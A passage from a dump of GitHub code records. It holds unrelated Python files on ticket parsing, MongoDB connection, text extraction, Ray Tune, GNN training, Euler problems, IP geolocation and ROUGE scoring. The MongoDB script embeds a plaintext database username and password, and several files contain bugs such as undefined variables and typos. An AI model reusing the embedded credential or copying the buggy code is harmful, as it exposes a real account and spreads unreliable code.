\"Title\", \"Resp Group\", \"Requestor\", \"Requestor Email\", \"Requestor Phone\", \"Acct/Dept\", \"Class Support Building\", \"Room number\", \"Created\", \"Modified\", \"Status\"]\n\nclass Organization:\n buildings: dict[str, Building]\n users: dict[str, User]\n departments: dict[str, Department]\n groups: dict[str, Group]\n tickets: dict[int, Ticket]\n\n def __init__(self) -> None:\n self.buildings = {}\n self.users = {}\n self.departments = {}\n self.groups = {}\n self.tickets = {}\n \n def __str__(self) -> str:\n return f\"\"\"buildings: {len(self.buildings)} \nusers: {len(self.users)}\ndepartments: {len(self.departments)}\ngroups: {len(self.groups)}\ntickets: {len(self.tickets)}\"\"\"\n\n def __repr__(self) -> str:\n return self.__str__()\n\n def new_ticket(self, csv_ticket: dict) -> Ticket:\n new_ticket = Ticket()\n new_ticket.id = int(csv_ticket[\"ID\"]) if csv_ticket.get(\"ID\") else None\n new_ticket.title = csv_ticket.get(\"Title\")\n new_ticket.responsible = self.find_group(csv_ticket.get(\"Resp Group\"))\n new_ticket.requestor = self.find_user(csv_ticket.get(\"Requestor\"),\n csv_ticket.get(\"Requestor Email\"),\n csv_ticket.get(\"Requestor Phone\"))\n new_ticket.department = self.find_department(csv_ticket.get(\"Acct/Dept\"))\n new_ticket.room = self.find_room(csv_ticket.get(\"Class Support Building\"),\n csv_ticket.get(\"Room number\"))\n return new_ticket\n\n def populate(self, args: dict) -> None:\n \"\"\"\n Given filename, read CSV.\n Populate buildings, rooms, tickets, etc.\n \"\"\"\n csv_file: io.TextIOWrapper = open(args[\"filename\"], mode=\"r\", encoding=\"utf-8-sig\")\n csv_tickets: csv.DictReader = csv.DictReader(csv_file)\n count = 0\n for row in csv_tickets:\n count += 1\n ticket = self.new_ticket(row)\n self.tickets[ticket.id] = ticket\n if count == 1:\n check_fields(row)\n csv_file.close()\n if not count:\n print(\"Ticket report is empty, exiting...\", file=sys.stderr)\n exit(1)\n \n def find_group(self, name: str) -> Group:\n \"\"\"\n Return group with name if already exists.\n Otherwise add new group and return.\n \"\"\"\n if not name:\n name = \"Other\"\n if self.groups.get(name):\n return self.groups[name] \n self.groups[name] = Group(name)\n return self.groups[name]\n\n def find_user(self, email: str, name: str, phone: str) -> User:\n \"\"\"\n Return user with given email if already exists.\n Otherwise add new user with given info and return.\n \"\"\"\n if not email:\n email = \"Other\"\n if self.users.get(email):\n return self.users[email]\n self.users[email] = User(email, name, phone)\n return self.users[email]\n\n def find_department(self, name: str) -> Department:\n \"\"\"\n Return department with name if already exists.\n Otherwise add new department and return.\n \"\"\"\n if not name:\n name = \"Other\"\n if self.departments.get(name):\n return self.departments[name] \n self.departments[name] = Department(name)\n return self.departments[name]\n\n def find_room(self, building_name: str, room_identifier: str) -> Room:\n \"\"\"\n Return room with building name and identifier if already exists.\n Otherwise add new room or building as needed and return.\n \"\"\"\n if not building_name:\n building_name = \"Other\"\n if not room_identifer:\n room_identifer = \"Other\"\n building: Building = self.find_building(building_name)\n if building.rooms.get(room_identifier):\n return building.rooms[room_identifier]\n building.rooms[room_identifier] = Room(building, room_identifier)\n return building.rooms[room_identifier]\n\n def find_building(self, name) -> Building:\n \"\"\"\n Return building with name if already exists.\n Otherwise add new building and return.\n \"\"\"\n if not name:\n name = \"Other\"\n if self.buildings.get(name):\n return self.buildings[name]\n self.buildings[name] = Building(name)\n return self.buildings[name]\n\n# Helper functions\n\ndef check_fields(csv_ticket: dict) -> None:\n \"\"\"\n Check that the required fields are present in a ticket dict.\n \"\"\"\n try:\n for field in STANDARD_FIELDS:\n csv_ticket[field]\n except:\n print(\"Your ticket report does not follow standard tdxplot guidelines\")\n","repo_name":"aroskows/TDX_Tickets","sub_path":"organization.py","file_name":"organization.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18364644010","text":"from pymongo.mongo_client import MongoClient\nfrom pymongo.server_api import ServerApi\n\nuri = \"mongodb+srv://conversions:conversions2023@cluster0.czef0kv.mongodb.net/conversions?retryWrites=true&w=majority\"\n\n\n# Create a new client and connect to the server\nclient = MongoClient(uri, server_api=ServerApi('1'))\ndb = client.conversions\n\n# Send a ping to confirm a successful connection\ntry:\n client.admin.command('ping')\n print(db.list_collection_names())\n print(\"Pinged your deployment. You successfully connected to MongoDB!\")\nexcept Exception as e:\n print(e)\n \n \n","repo_name":"dipina/Arab2RomanConversor","sub_path":"ConnectAtlas.py","file_name":"ConnectAtlas.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37218730438","text":"import re\nimport os\nimport json\nimport PyPDF2\nfrom docx import Document\n\n\ndef clean_text(text):\n # Supprimer les caractères spéciaux, les sauts de ligne inutiles et les espaces en double\n cleaned_text = re.sub(r\"[^\\w\\s]\", \"\", text)\n cleaned_text = re.sub(r\"\\n+\", \"\\n\", cleaned_text)\n cleaned_text = re.sub(r\"\\s+\", \" \", cleaned_text)\n return cleaned_text.strip()\n\n\ndef segment_sentences(text):\n # Segmenter le texte en phrases\n sentences = re.findall(r\"[^.!?]+[.!?]\", text)\n # sentences = re.split(r'(?<!\\w\\.\\w.)(?<![A-Z][a-z]\\.)(?<=\\.|\\?|\\!)\\s', text)\n return sentences\n\n\ndef segment_paragraphs(text):\n # Remplacer les sauts de ligne par des espaces pour nettoyer les paragraphes\n cleaned_text = re.sub(r\"\\n\", \" \", text)\n cleaned_text = re.sub(r\"–\", \"\", cleaned_text).strip()\n # Segmenter le texte en paragraphes\n paragraphs = re.split(r\"\\n\\n+\", cleaned_text)\n return paragraphs\n\n\ndef is_requirement(sentence):\n # Définissez ici vos critères pour identifier une phrase comme étant une exigence\n # Par exemple, vous pouvez vérifier si la phrase contient certains mots clés ou motifs spécifiques.\n keywords = [\n \"shall\",\n \"must\",\n \"should\",\n \"have to\",\n \"need to\",\n \"review\",\n \"edit\",\n \"update\",\n \"ensure\",\n \"prepare and submit\",\n \"handle\",\n ] # Liste de mots clés à rechercher\n\n # return any(keyword in sentence.lower() for keyword in keywords) and sentence.strip().endswith('.')\n return any(keyword in sentence.lower() for keyword in keywords)\n\n\ndef read_pdf(file_path):\n with open(file_path, \"rb\") as pdf_file:\n pdf_reader = PyPDF2.PdfFileReader(pdf_file)\n for page_num in range(pdf_reader.numPages):\n page = pdf_reader.getPage(page_num)\n text += page.extractText()\n\n return text\n\n\ndef read_docx(file_path):\n doc = Document(file_path)\n for paragraph in doc.paragraphs:\n text += paragraph.text + \"\\n\"\n\n return text\n\n\ndef read_txt(file_path):\n with open(file_path, \"r\", encoding=\"utf-8\") as txt_file:\n text = txt_file.read()\n return text\n\n\ndef extract_requirements_from_text_file(file_path):\n extension = file_path.split(\".\")[-1]\n if extension == \"pdf\":\n content = read_pdf(file_path)\n elif extension == \"docx\":\n content = read_docx(file_path)\n elif extension == \"txt\":\n content = read_txt(file_path)\n else:\n print(\"Extension de fichier non prise en charge.\")\n # return\n # Lire le texte du fichier et effectuer le nettoyage\n # with open(file_path, 'r', encoding='utf-8') as file:\n # content = file.read()\n # cleaned_text = clean_text(content)\n\n paragraphs = segment_paragraphs(content)\n\n segmented_text = []\n for paragraph in paragraphs:\n # print(paragraph)\n sentences = segment_sentences(paragraph)\n # print(sentences)\n segmented_text.extend(sentences)\n\n # Segmenter le texte en phrases\n # sentences = segment_sentences(cleaned_text)\n # print(segmented_text)\n\n # requirements = re.findall(r'(?:^|\\n)(.*?)(?=\\n|$)', cleaned_text)\n # requirements = re.findall(r'\\bshall\\b\\s*(.*?)\\n', content, re.IGNORECASE)\n # return requirements\n return segmented_text\n\n\n# if __name__ == \"__main__\":\n# main()\n","repo_name":"lemanouthe/compliance-check-research","sub_path":"src/extraction.py","file_name":"extraction.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26177568857","text":"N = int(input())\r\nansList = []\r\n\r\nfor i in range(1 << N):\r\n left = 0\r\n right = 0\r\n tmp = ''\r\n ansF = True\r\n for j in range(N):\r\n if left < right:\r\n ansF = False\r\n break\r\n\r\n if i >> j & 1:\r\n tmp += '('\r\n left += 1\r\n else:\r\n tmp += ')'\r\n right += 1\r\n\r\n if ansF and left == right:\r\n ansList.append(tmp)\r\n\r\nansList.sort()\r\nfor i in ansList:\r\n print(i)\r\n","repo_name":"MDzer0/atcoder","sub_path":"submissions/typical90/typical90_b.py","file_name":"typical90_b.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18966579935","text":"import atexit\nimport random\nimport settings\nimport comet_ml\nimport ray\nimport ray.tune as tune\nimport ray.tune.schedulers\n\nfrom pprint import pprint\nfrom ray.tune.examples.mnist_pytorch_trainable import TrainMNIST\n\n\n# ========================================================================= #\n# COMET ML #\n# ========================================================================= #\n\n# Settings are automatically read from environment variables.\n# https://www.comet.ml/docs/python-sdk/advanced/#comet-configuration-variables\nEXP = comet_ml.Experiment(\n disabled=(not settings.ENABLE_COMET_ML),\n)\n\nif EXP.alive is False:\n raise Exception(\"Comet.ml isn't alive!\")\n\n\n# ========================================================================= #\n# RAY #\n# ========================================================================= #\n\n\n@atexit.register\ndef _():\n print('Shutting Down Ray')\n ray.shutdown()\n\nray.init(\n address=settings.RAY_ADDRESS,\n logging_level=settings.LOG_LEVEL\n)\n\n\n# ========================================================================= #\n# SCHEDULER #\n# ========================================================================= #\n\n\nif settings.EXP_SCHEDULER == 'asha':\n scheduler = tune.schedulers.ASHAScheduler(\n metric=\"mean_accuracy\"\n )\nelif settings.EXP_SCHEDULER == 'pbt':\n scheduler = tune.schedulers.PopulationBasedTraining(\n time_attr=\"training_iteration\",\n metric=\"mean_accuracy\",\n mode=\"max\",\n perturbation_interval=5,\n hyperparam_mutations={\n \"lr\": lambda: random.uniform(0.0001, 0.02),\n \"momentum\": lambda: random.uniform(0.01, 0.99),\n }\n )\nelse:\n raise KeyError(f'Invalid scheduler specified: {settings.EXP_SCHEDULER}')\n\n\n# ========================================================================= #\n# EXPERIMENT #\n# ========================================================================= #\n\n\nanalysis = tune.run(\n TrainMNIST,\n scheduler=scheduler,\n resources_per_trial=dict(\n cpu=settings.CPUS_PER_NODE,\n gpu=settings.USE_GPU\n ),\n num_samples=settings.EXP_POPULATION_SIZE,\n # compares to values returned from train()\n stop=dict(\n mean_accuracy=0.99,\n training_iteration=20,\n ),\n # sampling functions\n config=dict(\n lr=tune.uniform(0.001, 0.1),\n momentum=tune.uniform(0.1, 0.9),\n ),\n)\n\n\nprint(f'Best config is: {analysis.get_best_config(metric=\"mean_accuracy\")}')\nprint(f'All the configs are:')\npprint(analysis.get_all_configs())\n\n\n# ========================================================================= #\n# END #\n# ========================================================================= #\n","repo_name":"nmichlo/bandit-pbt","sub_path":"src/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30020440988","text":"N = int(input())\r\nsequence = list(map(int,input().split()))\r\ndp = [0 for _ in range(N)]\r\ndp[0] = sequence[0]\r\n\r\nfor i in range(1,N):\r\n # 이전 값과 현재 값을 더한 값이 현재 값보다 큰 경우\r\n if dp[i-1] + sequence[i] <= sequence[i]:\r\n dp[i] = sequence[i]\r\n else:\r\n dp[i] = dp[i-1] + sequence[i]\r\nprint(max(dp))","repo_name":"OH-Neuri/Algorithm-Solving","sub_path":"백준/Silver/1912. 연속합/연속합.py","file_name":"연속합.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"71823366159","text":"from numpy.core.fromnumeric import shape\r\nfrom torch.optim.lr_scheduler import StepLR\r\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\r\nimport os\r\nfrom Model import *\r\nimport torch\r\nimport numpy as np\r\nfrom Utils import *\r\nfrom SyntheticDataset import *\r\nfrom torch_geometric.data import DataLoader\r\nfrom scipy import stats\r\nimport argparse\r\nimport random\r\n\r\nclass TrainDataset:\r\n def __init__(self):\r\n\r\n self.TRAIN_DATA_PATH = os.path.join(os.getcwd(), 'data', 'train', 'dataset')\r\n\r\n def ReadTrainFile(self):\r\n\r\n feature = os.path.join(self.TRAIN_DATA_PATH, 'train_dataset_feature.npy')\r\n adj = os.path.join(self.TRAIN_DATA_PATH, 'train_dataset_adj.npy')\r\n label = os.path.join(self.TRAIN_DATA_PATH, 'train_dataset_label.npy')\r\n num_graph = len(np.array(pickle_read(feature), dtype=object))\r\n return feature, adj, label, num_graph\r\n\r\n def CreateDataset(self):\r\n\r\n feature, adj, label, num_graph = self.ReadTrainFile()\r\n syn_dataset = SyntheticDataset(root='./' + 'SYN_Dataset', Adj=adj,\r\n node_feature=feature, graph_label=label)\r\n train_dataset = syn_dataset[:round(num_graph * 0.9)]\r\n test_dataset = syn_dataset[round(num_graph * 0.9):]\r\n\r\n\r\n return train_dataset, test_dataset\r\n\r\n\r\n\r\ndef train():\r\n model.train()\r\n for data in train_loader: # Iterate in batches over the training dataset.\r\n data = data.to(device)\r\n out = model(data.x, data.edge_index, data.num_nodes)\r\n loss = criterion(out, data.y.view(-1, 1))\r\n # print(out.shape)\r\n # print(data.y.view(-1,1).shape)\r\n # print(data.x.shape)\r\n loss.backward() # Derive gradients.\r\n optimizer.step() # Update parameters based on gradients.\r\n optimizer.zero_grad() # Clear gradients\r\n\r\n\r\ndef kendall_rank_coffecient(out, label, batch_size, data):\r\n sum = 0\r\n last_split = 0\r\n for i in range(batch_size):\r\n batch_node = data[i].num_nodes\r\n out_node = out[last_split: last_split + batch_node]\r\n label_node = label[last_split: last_split + batch_node]\r\n out_rank = np.argsort(out_node, axis=0).reshape(-1)\r\n label_rank = np.argsort(label_node, axis=0).reshape(-1)\r\n tau, p_value = stats.kendalltau(label_rank, out_rank)\r\n sum += tau\r\n last_split = last_split + batch_node\r\n\r\n return sum\r\n\r\n\r\ndef test(loader):\r\n model.eval()\r\n loss = 0\r\n rank = 0\r\n for data in loader: # Iterate in batches over the training/test dataset.\r\n data = data.to(device)\r\n out = model(data.x, data.edge_index, data.num_nodes)\r\n loss += criterion(out, data.y.view(-1, 1))\r\n rank += kendall_rank_coffecient(out.cpu().detach().numpy(), data.y.view(-1, 1).cpu().detach().numpy(),\r\n data.num_graphs, data)\r\n\r\n return loss / len(loader.dataset), rank / len(loader.dataset)\r\n\r\n\r\ndef save_model(epoch):\r\n checkpoint = {\"model_state_dict\": model.state_dict(),\r\n \"optimizer_state_dict\": optimizer.state_dict(),\r\n \"epoch\": epoch}\r\n path_checkpoint = os.path.join(CHECKPOINTS_PATH, \"checkpoint_{}_epoch.pkl\".format(epoch))\r\n torch.save(checkpoint, path_checkpoint)\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n\r\n model_name = 'NIRM'\r\n loss_type = 'MSE'\r\n graph_type = 'MIXED'\r\n num_node_features = 5\r\n\r\n\r\n\r\n\r\n\r\n TrainSets = TrainDataset()\r\n train_dataset, test_dataset = TrainSets.CreateDataset()\r\n train_loader = DataLoader(train_dataset, batch_size= 5, shuffle=True)\r\n test_loader = DataLoader(test_dataset, batch_size= 1, shuffle=False)\r\n\r\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n model = NIRM().to(device)\r\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001, weight_decay=0.0001)\r\n criterion = torch.nn.MSELoss(reduction='mean')\r\n\r\n scheduler_1 = StepLR(optimizer, step_size=50, gamma=0.3)\r\n epoch_num = 200\r\n checkpoint_interval = 5\r\n CHECKPOINTS_PATH = os.path.join(os.getcwd(), 'training', model_name)\r\n os.makedirs(CHECKPOINTS_PATH, exist_ok=True)\r\n LOGGING_PATH = CHECKPOINTS_PATH + '/Logs/'\r\n os.makedirs(LOGGING_PATH, exist_ok=True)\r\n NIRM_logger = get_logger(LOGGING_PATH + 'train.log')\r\n os.makedirs(CHECKPOINTS_PATH, exist_ok=True)\r\n patience_period = 10\r\n BEST_VAL_LOSS = 100\r\n BEST_TRA_LOSS = 100\r\n BEST_VAL_KEN = 0\r\n BEST_TRA_KEN = 0\r\n BEST_TRA_MODEL_EPOCH = 0\r\n BEST_VAL_MODEL_EPOCH = 0\r\n\r\n PATIENCE_CNT = 0\r\n\r\n for epoch in range(epoch_num):\r\n train()\r\n loss1 = test(train_loader)\r\n loss2 = test(test_loader)\r\n\r\n # scheduler_1.step(loss2[0])\r\n # scheduler_1.step()\r\n if loss2[0] < BEST_VAL_LOSS or loss1[0] < BEST_TRA_LOSS or loss2[1] > BEST_VAL_KEN or loss1[1] > BEST_TRA_KEN:\r\n if loss2[0] < BEST_VAL_LOSS:\r\n BEST_VAL_MODEL_EPOCH = epoch\r\n elif loss1[0] < BEST_TRA_LOSS :\r\n BEST_TRA_MODEL_EPOCH = epoch\r\n elif loss2[1] > BEST_VAL_KEN:\r\n NIRM_logger.info(\r\n 'Better_VAL_Kendall_EPOCH:[{}/{}] \\t Kendal:[{}/{}]'.format(\r\n epoch, epoch_num, loss2[1], BEST_VAL_KEN))\r\n BEST_VAL_KEN= loss2[1]\r\n elif loss1[1] > BEST_TRA_KEN:\r\n NIRM_logger.info(\r\n 'Better_TAR_Kendall_EPOCH:[{}/{}] \\t Kendal:[{}/{}]'.format(\r\n epoch, epoch_num, loss1[1], BEST_TRA_KEN))\r\n BEST_TRA_KEN = loss1[1]\r\n\r\n BEST_VAL_LOSS = min(loss2[0], BEST_VAL_LOSS) # keep track of the best validation accuracy so far\r\n BEST_TRA_LOSS = min(loss1[0], BEST_TRA_LOSS)\r\n PATIENCE_CNT = 0 # reset the counter every time we encounter new best accuracy\r\n save_model(epoch)\r\n else:\r\n PATIENCE_CNT += 1 # otherwise keep counting\r\n\r\n if PATIENCE_CNT >= patience_period:\r\n NIRM_logger.info(\r\n 'BEST_TRA_MODEL_EPOCH:[{}/{}]\\t BEST_VAL_MODEL_EPOCH:[{}/{}]\\t TestLoss={:.6f}'.format(BEST_TRA_MODEL_EPOCH, epoch_num, BEST_VAL_MODEL_EPOCH, epoch_num,\r\n BEST_VAL_LOSS))\r\n raise Exception('Stopping the training, the universe has no more patience for this training.')\r\n\r\n\r\n\r\n NIRM_logger.info(\r\n 'Epoch:[{}/{}]\\t TrainLoss={:.6f}\\t TrainKendal={:.4f}\\t TestLoss={:.6f}\\t TestKendal={:.4f}'.format(epoch,\r\n epoch_num,\r\n loss1[0],\r\n loss1[1],\r\n loss2[0],\r\n loss2[1]))\r\n NIRM_logger.info('finish training!')","repo_name":"JiazhengZhang/NIRM","sub_path":"Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":7257,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"28092940243","text":"import random\nimport time\n\nreps = 10000\n\ndef process(data):\n return data\n\ndef gen_int():\n num = 0\n\n for i in range(100):\n num = (num << 3) | random.randint(1, 6)\n\n return num\n\ndef gen_list():\n l = []\n for i in range(100):\n l.append(random.randint(0, 5))\n return l\n\ndef test_int():\n l = []\n for i in range(reps):\n l.append(gen_int())\n\n s = time.time()\n\n for i in l:\n while i != 0:\n d = (i & 0x07) - 1\n i >>= 3\n process(d)\n\n print(\"Int:\", time.time() - s)\n\ndef test_list():\n l = []\n for i in range(reps):\n l.append(gen_list())\n\n s = time.time()\n\n for i in l:\n for j in i:\n process(j)\n\n print(\"List:\", time.time() - s)\n\nif __name__ == \"__main__\":\n test_int()\n test_list()","repo_name":"PineappleBeech/PythonServer","sub_path":"tests/speed/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21653930279","text":"minute = float(input(\"Minutes before due: \"))\ntemp = float(input(\"Temperature: \"))\nrain = input(\"Is it raining (y/n)? \").upper()\n\nhour = minute / 60\nday = hour / 24\ntotal = int(\"%.0f\" % day)\n\nprint(total, \"days before due.\")\n\nif total < 2:\n print(\"I will do the assignment.\")\n\nelif 2 <= total <= 5:\n if temp > 40 or (temp > 25 and rain == \"Y\"):\n print(\"I will not do the assignment.\")\n else:\n print(\"I will do the assignment.\")\n\nelif total > 5:\n print(\"I will not do the assignment.\")\n","repo_name":"teamchz/pythonProject","sub_path":"PG7.py","file_name":"PG7.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72394093837","text":"import sqlite3\nfrom datetime import datetime as dt\nfrom datetime import timedelta as td\n\n\ndef get_db(test=False):\n \"\"\"Get a connection to the database\"\"\"\n if test:\n conn = sqlite3.connect('test_database.db')\n return conn\n conn = sqlite3.connect('database.db')\n return conn\n\n\ndef create_tables():\n \"\"\"Creates all the necessary tables in the database if they don't exist\"\"\"\n conn = get_db()\n cur = conn.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS tracker (name TEXT PRIMARY KEY NOT NULL)')\n cur.execute('CREATE TABLE IF NOT EXISTS habit (name TEXT NOT NULL, '\n 'description TEXT NOT NULL, '\n 'frequency_int INTEGER NOT NULL,'\n 'frequency TEXT NOT NULL,'\n 'last_completed_at TEXT,'\n 'current_streak INTEGER NOT NULL DEFAULT 0,'\n 'current_status TEXT NOT NULL DEFAULT \"TO BE DONE\",'\n ' tracker TEXT NOT NULL,'\n 'PRIMARY KEY(name, tracker),'\n ' FOREIGN KEY(tracker) REFERENCES tracker(name) ON DELETE CASCADE)')\n cur.execute('CREATE TABLE IF NOT EXISTS habit_completed_at '\n '(habit_name TEXT NOT NULL,'\n 'completed_at TEXT NOT NULL,'\n 'tracker TEXT NOT NULL,'\n 'PRIMARY KEY(habit_name, completed_at),'\n 'FOREIGN KEY(habit_name, tracker) REFERENCES habit(name, tracker) ON DELETE CASCADE)')\n conn.commit()\n\n\ndef get_all_habits(tracker_name):\n \"\"\"Get all habits from the database\"\"\"\n conn = get_db()\n cur = conn.cursor()\n update_habits_status(tracker_name)\n cur.execute('SELECT * FROM habit WHERE tracker = ?', (tracker_name,))\n habits = cur.fetchall()\n return [habit for habit in habits]\n\ndef get_all_daily_habits(tracker_name):\n \"\"\"Get all daily habits from the database\"\"\"\n conn = get_db()\n cur = conn.cursor()\n update_habits_status(tracker_name)\n cur.execute('SELECT * FROM habit WHERE tracker = ? AND frequency_int = 1', (tracker_name,))\n habits = cur.fetchall()\n return [habit for habit in habits]\n\n\ndef view_habits(tracker_name):\n \"\"\"Prints all habits to the console\"\"\"\n all_habits = get_all_habits(tracker_name)\n if len(all_habits) == 0:\n print('You have no habits yet')\n else:\n print('\\nYour habits:\\n')\n for habit in all_habits:\n print(f'{habit[0]} - {habit[1]} - {habit[3]} - {habit[6]}')\n print('\\n')\n\n\ndef update_habits_status(tracker_name):\n \"\"\"Updates the status of all habits in the database\"\"\"\n conn = get_db()\n cur = conn.cursor()\n cur.execute('SELECT * FROM habit WHERE tracker = ? AND current_status = \"DONE\"', (tracker_name,))\n habits = cur.fetchall()\n for habit in habits:\n if dt.today() - dt.strptime(habit[4], '%Y-%m-%d') > td(days=habit[2]):\n cur.execute('UPDATE habit SET current_status = ? WHERE tracker = ? AND name = ?',\n (\"TO BE DONE\", tracker_name, habit[0]))\n conn.commit()\n","repo_name":"aszpetmanski/HabitTracker","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73327195918","text":"import requests\nimport re\nimport socket\n\ndef getIP(domain):\n\tmyaddr = socket.getaddrinfo(domain, 'http')\n\treturn(myaddr[0][4][0])\n\ndef wzcx(ip):\n\theader={\n\t'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0',\n\t'Accept':'*/*',\n\t'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n\t'Accept-Encoding':'gzip, deflate',\n\t'Referer':'https://www.baidu.com/baidu?tn=monline_3_dg&ie=utf-8&wd=ip',\n\t'Connection':'close'}\n\turl=\"\"\"http://sp0.baidu.com/8aQDcjqpAAV3otqbppnN2DJv/api.php?query=\"\"\"+ip+\"\"\"&co=&resource_id=6006&t=1594534781056&ie=utf8&oe=gbk&cb=op_aladdin_callback&format=json&tn=baidu&cb=jQuery110206818778002992059_1594534767480&_=1594534767481\"\"\"\n\turl=url.replace(\"%0A%09%09\",\"\")\n\tr = requests.get(url,headers=header)\n\tw = r.text\n\tq = re.findall(\"\\\"location\\\":\\\".*?\\\"\",w)\n\te = q[0]\n\tt = e.replace(\"\\\"location\\\":\\\"\",\"\")\n\ty = t.replace('\"',\"\")\n\treturn y\n\ndef dzcx_main(host):\n\tips = getIP(host)\n\tdizhi = wzcx(ips)\n\t\n\treturn dizhi\n","repo_name":"cqkenuo/Qxscan","sub_path":"dzcx.py","file_name":"dzcx.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43359882072","text":"# -*- encoding=utf8 -*- \n\n__author__ = \"Noemi\" \n\nfrom airtest.core.api import * \nfrom poco.drivers.android.uiautomation import AndroidUiautomationPoco\n\n# class setup omitted too, code could be run without it\n# Note this code is not meant to run\n\nandroid2 = connect_device(\"Android://127.0.0.1:5037/SERIAL1\") \n\npoco2 = AndroidUiautomationPoco(android2) \n\nandroid1 = connect_device(\"Android://127.0.0.1:5037/SERIAL2\") \n\npoco1 = AndroidUiautomationPoco(android1) \n\nchat_page = chat_page() # ne\n\nchat_page.doLogin(poco1) # login omitted from example \n\nchat_page.doLoing(poco2) \nchat_page.touch_start_chat_with(poco1, \"user2\") \n\nchat_page.set_text(poco1, \"hi from user1\") \n\nassertTrue(chat_page.get_text(poco2, \"hi from user1\")) \n\nchat_page.set_text(poco2, \"hi from user2\") \n\nassertTrue(chat_page.get_text(poco1, \"hi from user2\")) ","repo_name":"PacktPublishing/How-to-Test-a-Time-Machine","sub_path":"Chapter05/python/packt.air/mobileChat.py","file_name":"mobileChat.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"32342594169","text":"import time, sympy\nstart = time.time()\n#---------------------------\ndef primes_sieve(limit):\n a = [True] * limit # Initialize the primality list\n a[0] = a[1] = False\n\n for (i, isprime) in enumerate(a):\n if isprime:\n yield i\n for n in range(i*i, limit, i): # Mark factors non-prime\n a[n] = False\nprimes = list(primes_sieve(6000))\nodd = 5\nwhile True:\n i = 0\n while primes[i] <= odd:\n l = ((odd-primes[i])/2)**.5\n if l - int(l) == 0:\n break\n i += 1\n else:\n break\n odd+=2\n\n\n\n\n\n\"\"\"\nodd = 3\nwhile True:\n i=1\n while i <= odd:\n l = ((odd-i)/2)**.5\n if l - int(l) == 0 and sympy.isprime(i):\n #print(odd,l,i)\n break\n i+=2\n else:\n break\n odd+=2\"\"\"\nprint(odd)\n#---------------------------\nprint(time.time()-start,\" ------seconds------\\n\")\n","repo_name":"Dzem-z/project-Euleler-solutions","sub_path":"python_solutions/euler46.py","file_name":"euler46.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32559943478","text":"from rouge import Rouge\nimport os\nimport pandas as pd\n\n\ndef rouge_score(hyp, ref):\n rouge = Rouge(return_lengths=True)\n scores = rouge.get_scores(hyp, ref)\n return scores[0]\n\n# processed_files_dir = '/home/tzvi/PycharmProjects/HSdataprocessLinux/show_case/final_report/4/nucleus'\n# gold_standard_files_dir = '/home/tzvi/PycharmProjects/HSdataprocessLinux/gold_standard/pre_process_text'\n\n# processed_files_dir = '/home/administrator/HS_part1/HSdataprocessLinux/show_case/final_report/4/nucleus'\n# gold_standard_files_dir = '/home/administrator/HS_part1/HSdataprocessLinux/gold_standard/pre_process_text'\n\nprocessed_files_dir = '/home/tzvi/PycharmProjects/HSdataprocessLinux/gold_standard/MUSE_POLY/summaries_POLY'\ngold_standard_files_dir = '/home/tzvi/PycharmProjects/HSdataprocessLinux/gold_standard/testing_full_text'\n\nr1_score = dict()\nr2_score = dict()\nrl_score = dict()\n\n# counter = 0\nfor file in os.listdir(processed_files_dir):\n print(file)\n # if counter == 3:\n # break\n file_id = file.split('_')[0]\n\n # Hypothesis\n with open(os.path.join(processed_files_dir, file), 'r') as read_file:\n hypothesis = read_file.read().replace('\\n', '').strip()\n # Reference\n with open(os.path.join(gold_standard_files_dir, file_id + '.txt'), 'r') as read_file:\n reference = read_file.read().replace('\\n', '')\n\n score = rouge_score(hypothesis, reference)\n\n r1_score[file_id] = score['rouge-1']\n r1_score[file_id]['hyp'] = score['lengths']['hyp']\n r1_score[file_id]['ref'] = score['lengths']['ref']\n\n r2_score[file_id] = score['rouge-2']\n r2_score[file_id]['hyp'] = score['lengths']['hyp']\n r2_score[file_id]['ref'] = score['lengths']['ref']\n\n rl_score[file_id] = score['rouge-l']\n rl_score[file_id]['hyp'] = score['lengths']['hyp']\n rl_score[file_id]['ref'] = score['lengths']['ref']\n\n # counter += 1\n\nr1_df = pd.DataFrame.from_dict(r1_score, orient='index')\nr1_df.loc['avg'] = r1_df.mean()\nr2_df = pd.DataFrame.from_dict(r2_score, orient='index')\nr2_df.loc['avg'] = 